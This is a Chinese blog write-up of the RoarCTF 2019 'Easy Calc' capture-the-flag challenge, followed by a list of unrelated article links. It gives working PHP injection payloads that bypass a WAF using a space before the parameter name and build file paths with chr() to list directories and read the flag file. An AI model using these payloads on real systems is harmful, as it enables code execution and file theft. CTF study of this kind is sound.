当前位置: 首页 > news >正文

[RoarCTF 2019]Easy Calc

https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calchttps://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc启动靶机

查看一下页面源码,发现页面 /calc.php  以及WAF

查看一下 /calc.php 显示源码 

发现除了waf  还设置了php黑名单

尝试 {{7*7}}  和 1;ls 都被waf 过滤了

绕过waf: 在?和num的中间添加“空格(%20)”或者“+”

[在绕过waf尝试时,制表符%09、换行符%0a、回车符%0d、注释/**/、特殊符号;,都无效。空格和加号成功 ]

由于黑名单主要过滤的空格和单双引号,我们没法使用常见函数命令如system等去执行。

黑名单中没有过滤"_"和"."等,可使用 无参数函数 / 无参数函数+魔术常量 查看当前文件所在目录

①?+num=print_r(scandir(__dir__))

②?+num=print_r(scandir(current(localeconv())))    

        *注意:当黑名单禁止使用点号.时,可以用current(localeconv()这个组合来生成点号.

③?+num=print_r(scandir(chr(46)))      

        *注意:点号. 对应的ASCII值为46,斜杠/ 对应的ASCII值应为47

?+num=print_r(scandir(chr(47)))   查看根目录信息,发现文件 f1agg

f1agg   对应 chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

读取flag

方法① ?+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

方法② ?+num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

方法③ ?+num=highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

http://www.dtcms.com/a/555100.html

相关文章:

  • 网站信息化建设领导小组湖北搜索引擎优化
  • 江苏省网站建设与管理历年自考试题网站的备案
  • 1002 A+B for Polynomials
  • 湖北民族建设集团网站会员wordpress主题
  • 解决Python matplotlib绘制图像无法显示中文的问题
  • 众趣分享丨数字孪生在智慧园区类场景的实战应用
  • wordpress 异步加速安徽优化推广
  • 湛江高端网站开发国际数据公司
  • 湖北洪湖市建设局网站app小程序
  • matlab设计滤波器详解
  • Web 前端可视化开发工具深度解析,从拖拽搭建到真机调试的全链路思维
  • 国外免费iphone网站南安seo优化推广
  • 关于static误区
  • win7怎么做网站服务器做教师知识网站有哪些
  • js基础:10、函数对象方法(call/apply)、arguments类数组对象、Date对象、Math工具类、包装类、字符串方法、正则表达式
  • seo学院培训班seo外包公司多吗
  • 潜江做网站的嘉兴地区有人做网站吗
  • CATIA/3DE CAA二次开发-工程图两圆内填充AreaFill
  • 百日挑战-单词篇(第九天)
  • 人物摄影网站创建微信公众号步骤
  • 二叉树序列化与反序列化
  • 焦作网站建设费用社交类网站开发需求
  • 杭州外贸网站建设公司申跃网站建设类型有哪些方面
  • 做视频网站 视频放在哪里找延庆营销型网站建设
  • 物联网的核心和基础是什么短视频seo询盘系统
  • XHR 创建对象
  • 个人网站建设软件合肥建站方案
  • 【Docker】P4 Docker 网络:掌握 Docker 自定义网络,玩转应用集群
  • 莞城网站制作如何看一个站点是不是有wordpress
  • 荆门网站建设公司WordPress百度智能小程序